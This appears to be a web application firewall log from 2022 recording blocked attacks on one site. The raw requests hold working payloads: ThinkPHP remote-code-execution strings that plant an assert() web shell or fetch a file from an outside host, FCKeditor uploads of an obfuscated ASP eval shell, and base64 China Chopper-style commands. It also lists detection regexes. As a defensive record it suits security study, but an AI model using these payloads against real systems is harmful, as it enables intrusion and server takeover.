["2022-10-04 00:52:50","103.213.247.53","POST","\/install\/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=jiiao.php&updateHost=http:\/\/194.124.35.101:82\/","Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\/530.5 (KHTML, like Gecko) Chrome\/2.0.172.8 Safari\/530.5","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/install\/index.php.bak","POST \/install\/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=jiiao.php&updateHost=http:\/\/194.124.35.101:82\/ HTTP\/1.1\nhost:www.boyaminge.com\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:0\nuser-agent:Mozilla\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\/530.5 (KHTML, like Gecko) Chrome\/2.0.172.8 Safari\/530.5\nreferer:http:\/\/www.boyaminge.com\/install\/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=jiiao.php&updateHost=http:\/\/194.124.35.101:82\/\n\n"] ["2022-10-04 00:52:50","103.213.247.53","POST","\/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F","Mozilla\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit\/534.1 (KHTML, like Gecko) Chrome\/6.0.428.0 Safari\/534.1","post","from-data 请求异常,拒绝访问,如有误报请点击误报 return_error28","POST \/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP\/1.1\nhost:www.boyaminge.com\ncontent-type:multipart\/form-data; boundary=----7df271da040a\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:300\nuser-agent:Mozilla\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit\/534.1 (KHTML, like Gecko) Chrome\/6.0.428.0 Safari\/534.1\nreferer:http:\/\/www.boyaminge.com\/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F\n\n-----------------------------7df271da040a\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\"xvl.asp\u0000\u0000jpg\"\r\nContent-Type: application\/octet-stream\r\n\r\n^_^ GIF8a <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(\"lequ\"))%>\r\n-----------------------------7df271da040a--"] ["2022-10-04 00:52:50","103.213.247.53","POST","\/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F","Mozilla\/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit\/525.19 (KHTML, like Gecko) Chrome\/0.2.151.0 Safari\/525.19","post","from-data 请求异常,拒绝访问,如有误报请点击误报 return_error28","POST \/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP\/1.1\nhost:www.boyaminge.com\ncontent-type:multipart\/form-data; boundary=----7df271da040a\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:300\nuser-agent:Mozilla\/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit\/525.19 (KHTML, like Gecko) Chrome\/0.2.151.0 Safari\/525.19\nreferer:http:\/\/www.boyaminge.com\/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F\n\n-----------------------------7df271da040a\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\"xvl.asp\u0000\u0000jpg\"\r\nContent-Type: application\/octet-stream\r\n\r\n^_^ GIF8a <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(\"lequ\"))%>\r\n-----------------------------7df271da040a--"] ["2022-10-04 00:52:51","103.213.247.53","POST","\/fdgq.php","Mozilla\/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko\/20100523 Firefox\/3.6.4","post","base64_decode\\( >> lequ:@eval(base64_decode($_POST[z0]));","POST \/fdgq.php HTTP\/1.1\nhost:www.boyaminge.com\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:232\nuser-agent:Mozilla\/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.9.2.4) Gecko\/20100523 Firefox\/3.6.4\nreferer:http:\/\/www.boyaminge.com\/fdgq.php\n\nlequ=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-04 00:52:51","103.213.247.53","POST","\/ysyqq.php","Mozilla\/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko\/20061208 Firefox\/2.0.0 Opera 9.52","post","base64_decode\\( >> ysy:@eval(base64_decode($_POST[z0]));","POST \/ysyqq.php HTTP\/1.1\nhost:www.boyaminge.com\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:231\nuser-agent:Mozilla\/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko\/20061208 Firefox\/2.0.0 Opera 9.52\nreferer:http:\/\/www.boyaminge.com\/ysyqq.php\n\nysy=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-04 00:52:52","103.213.247.53","GET","\/?s=\/index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=gflci.php&vars%5B1%5D%5B%5D=%3C?php%20assert($_REQUEST%5B%22ysy%22%5D);?%3Eysydjsjxbei37$","Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)","args","(invokefunction|call_user_func_array|\\\\think\\\\) >> function:call_user_func_array","GET \/?s=\/index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=gflci.php&vars%5B1%5D%5B%5D=%3C?php%20assert($_REQUEST%5B%22ysy%22%5D);?%3Eysydjsjxbei37$ HTTP\/1.1\nhost:www.boyaminge.com\nconnection:Keep-Alive\naccept:*\/*\nuser-agent:Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)\nreferer:http:\/\/www.boyaminge.com\/?s=\/index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=gflci.php&vars[1][]=<?php assert($_REQUEST[\"ysy\"]);?>ysydjsjxbei37$\n\n"] ["2022-10-04 07:31:22","58.19.125.26","HEAD","\/cache\/cachee.php","Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/cache\/cachee.php","HEAD \/cache\/cachee.php HTTP\/1.1\nhost:www.boyaminge.com\nconnection:close\nuser-agent:Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)\n\n"] ["2022-10-04 07:48:03","58.19.125.29","HEAD","\/cache\/error_reporting.php","Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/cache\/error_reporting.php","HEAD \/cache\/error_reporting.php HTTP\/1.1\nhost:www.boyaminge.com\nconnection:close\nuser-agent:Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)\n\n"] ["2022-10-04 08:19:34","58.19.125.84","HEAD","\/cache\/wooyun.php","Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/cache\/wooyun.php","HEAD \/cache\/wooyun.php HTTP\/1.1\nhost:www.boyaminge.com\nconnection:close\nuser-agent:Mozilla\/5.0 (compatible; bingbot\/2.0; +http:\/\/www.bing.com\/bingbot.htm)\n\n"] ["2022-10-04 15:04:11","111.196.128.143","GET","\/","Apache-HttpClient\/4.5.6 (Java\/1.8.0_302)","user_agent","(HTTrack|Apache-HttpClient|harvest|audit|dirbuster|pangolin|nmap|sqln|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|zmeu|BabyKrokodil|netsparker|httperf| SF\/) >> 1:Apache-HttpClient\/4.5.6 (Java\/1.8.0_302)","GET \/ HTTP\/1.1\nhost:boyaminge.com\naccept-encoding:gzip,deflate\nuser-agent:Apache-HttpClient\/4.5.6 (Java\/1.8.0_302)\nconnection:Keep-Alive\n\n"] ["2022-10-04 16:35:31","61.244.94.94","GET","\/?s=\/Index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http:\/\/tongyong888.xyz\/cmd.txt&vars%5B1%5D%5B%5D=roeter.php","python-requests\/2.28.1","args","(invokefunction|call_user_func_array|\\\\think\\\\) >> function:call_user_func_array","GET \/?s=\/Index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http:\/\/tongyong888.xyz\/cmd.txt&vars%5B1%5D%5B%5D=roeter.php HTTP\/1.1\nhost:www.boyaminge.com\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\nuser-agent:python-requests\/2.28.1\n\n"] ["2022-10-04 16:35:33","61.244.94.94","GET","\/?s=\/Home\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http:\/\/tongyong888.xyz\/cmd.txt&vars%5B1%5D%5B%5D=roeter.php","python-requests\/2.28.1","args","(invokefunction|call_user_func_array|\\\\think\\\\) >> function:call_user_func_array","GET \/?s=\/Home\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=copy&vars%5B1%5D%5B%5D=http:\/\/tongyong888.xyz\/cmd.txt&vars%5B1%5D%5B%5D=roeter.php HTTP\/1.1\nhost:www.boyaminge.com\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\nuser-agent:python-requests\/2.28.1\n\n"] ["2022-10-04 16:57:59","61.244.94.94","POST","\/index.php","Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko\/20100101 Firefox\/48.0","post","拦截ThinkPHP 5.x RCE 攻击,并且被封锁IP","POST \/index.php HTTP\/1.1\nhost:www.boyaminge.com\ncontent-type:application\/x-www-form-urlencoded\nconnection:keep-alive\naccept:*\/*\ncontent-length:97\naccept-encoding:gzip, deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko\/20100101 Firefox\/48.0\n\nfilter[]=assert&_method=__construct&s=copy('http:\/\/tongyong888.xyz\/cmd.txt','robots.php')&method="] ["2022-10-04 21:23:11","103.213.247.53","POST","\/install\/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=yqroa.php&updateHost=http:\/\/194.124.35.101:82\/","Mozilla\/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko\/20090715 Firefox\/3.5.1 GTB5 (.NET CLR 3.5.30729)","url","\\.(bak|inc|old|mdb|sql|php~|swp|java|class)$ >> 1:\/install\/index.php.bak","POST \/install\/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=yqroa.php&updateHost=http:\/\/194.124.35.101:82\/ HTTP\/1.1\nhost:boyaminge.com\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:0\nuser-agent:Mozilla\/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko\/20090715 Firefox\/3.5.1 GTB5 (.NET CLR 3.5.30729)\nreferer:http:\/\/boyaminge.com\/install\/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=yqroa.php&updateHost=http:\/\/194.124.35.101:82\/\n\n"] ["2022-10-04 21:23:12","103.213.247.53","POST","\/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F","Mozilla\/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko\/20090305 Firefox\/3.1b3 (.NET CLR 3.5.30729)","post","from-data 请求异常,拒绝访问,如有误报请点击误报 return_error28","POST \/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP\/1.1\nhost:boyaminge.com\ncontent-type:multipart\/form-data; boundary=----7df271da040a\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:300\nuser-agent:Mozilla\/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko\/20090305 Firefox\/3.1b3 (.NET CLR 3.5.30729)\nreferer:http:\/\/boyaminge.com\/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F\n\n-----------------------------7df271da040a\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\"imw.asp\u0000\u0000jpg\"\r\nContent-Type: application\/octet-stream\r\n\r\n^_^ GIF8a <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(\"lequ\"))%>\r\n-----------------------------7df271da040a--"] ["2022-10-04 21:23:12","103.213.247.53","POST","\/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F","Mozilla\/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit\/532.1 (KHTML, like Gecko) Chrome\/4.0.212.1 Safari\/532.1","post","from-data 请求异常,拒绝访问,如有误报请点击误报 return_error28","POST \/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP\/1.1\nhost:boyaminge.com\ncontent-type:multipart\/form-data; boundary=----7df271da040a\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:300\nuser-agent:Mozilla\/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit\/532.1 (KHTML, like Gecko) Chrome\/4.0.212.1 Safari\/532.1\nreferer:http:\/\/boyaminge.com\/FCKeditor\/editor\/filemanager\/connectors\/asp\/connector.asp?Command=FileUpload&Type=File&CurrentFolder=%2F\n\n-----------------------------7df271da040a\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\"imw.asp\u0000\u0000jpg\"\r\nContent-Type: application\/octet-stream\r\n\r\n^_^ GIF8a <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))(\"lequ\"))%>\r\n-----------------------------7df271da040a--"] ["2022-10-04 21:23:13","103.213.247.53","POST","\/fdgq.php","Mozilla\/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit\/532.2 (KHTML, like Gecko) Chrome\/4.0.222.6 Safari\/532.2","post","base64_decode\\( >> lequ:@eval(base64_decode($_POST[z0]));","POST \/fdgq.php HTTP\/1.1\nhost:boyaminge.com\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:232\nuser-agent:Mozilla\/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit\/532.2 (KHTML, like Gecko) Chrome\/4.0.222.6 Safari\/532.2\nreferer:http:\/\/boyaminge.com\/fdgq.php\n\nlequ=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-04 21:23:14","103.213.247.53","POST","\/ysyqq.php","Mozilla\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\/412 (KHTML, like Gecko) Safari\/412","post","base64_decode\\( >> ysy:@eval(base64_decode($_POST[z0]));","POST \/ysyqq.php HTTP\/1.1\nhost:boyaminge.com\ncontent-type:application\/x-www-form-urlencoded\nconnection:Keep-Alive\naccept:*\/*\ncontent-length:231\nuser-agent:Mozilla\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\/412 (KHTML, like Gecko) Safari\/412\nreferer:http:\/\/boyaminge.com\/ysyqq.php\n\nysy=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7"] ["2022-10-04 21:23:15","103.213.247.53","GET","\/?s=\/index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=ovvyh.php&vars%5B1%5D%5B%5D=%3C?php%20assert($_REQUEST%5B%22ysy%22%5D);?%3Eysydjsjxbei37$","Mozilla\/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko\/20061024 Firefox\/2.0","args","(invokefunction|call_user_func_array|\\\\think\\\\) >> function:call_user_func_array","GET \/?s=\/index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=ovvyh.php&vars%5B1%5D%5B%5D=%3C?php%20assert($_REQUEST%5B%22ysy%22%5D);?%3Eysydjsjxbei37$ HTTP\/1.1\nhost:boyaminge.com\nconnection:Keep-Alive\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko\/20061024 Firefox\/2.0\nreferer:http:\/\/boyaminge.com\/?s=\/index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ovvyh.php&vars[1][]=<?php assert($_REQUEST[\"ysy\"]);?>ysydjsjxbei37$\n\n"] ["2022-10-04 22:56:15","61.244.94.94","GET","\/index.php?s=index\/%5Cthink%5Cview%5Cdriver%5CPhp\/display&content=%3C?php%20var_dump(md5(2333));?%3E","python-requests\/2.28.1","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> content:<?php var_dump(md5(2333));?>","GET \/index.php?s=index\/%5Cthink%5Cview%5Cdriver%5CPhp\/display&content=%3C?php%20var_dump(md5(2333));?%3E HTTP\/1.1\nhost:www.boyaminge.com\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\nuser-agent:python-requests\/2.28.1\n\n"] ["2022-10-04 22:56:15","61.244.94.94","GET","\/index.php?s=home\/%5Cthink%5Cview%5Cdriver%5CPhp\/display&content=%3C?php%20var_dump(md5(2333));?%3E","python-requests\/2.28.1","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> content:<?php var_dump(md5(2333));?>","GET \/index.php?s=home\/%5Cthink%5Cview%5Cdriver%5CPhp\/display&content=%3C?php%20var_dump(md5(2333));?%3E HTTP\/1.1\nhost:www.boyaminge.com\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\nuser-agent:python-requests\/2.28.1\n\n"] ["2022-10-04 22:56:24","61.244.94.94","GET","\/index.php?s=admin\/%5Cthink%5Cview%5Cdriver%5CPhp\/display&content=%3C?php%20var_dump(md5(2333));?%3E","python-requests\/2.28.1","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> content:<?php var_dump(md5(2333));?>","GET \/index.php?s=admin\/%5Cthink%5Cview%5Cdriver%5CPhp\/display&content=%3C?php%20var_dump(md5(2333));?%3E HTTP\/1.1\nhost:www.boyaminge.com\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\nuser-agent:python-requests\/2.28.1\n\n"]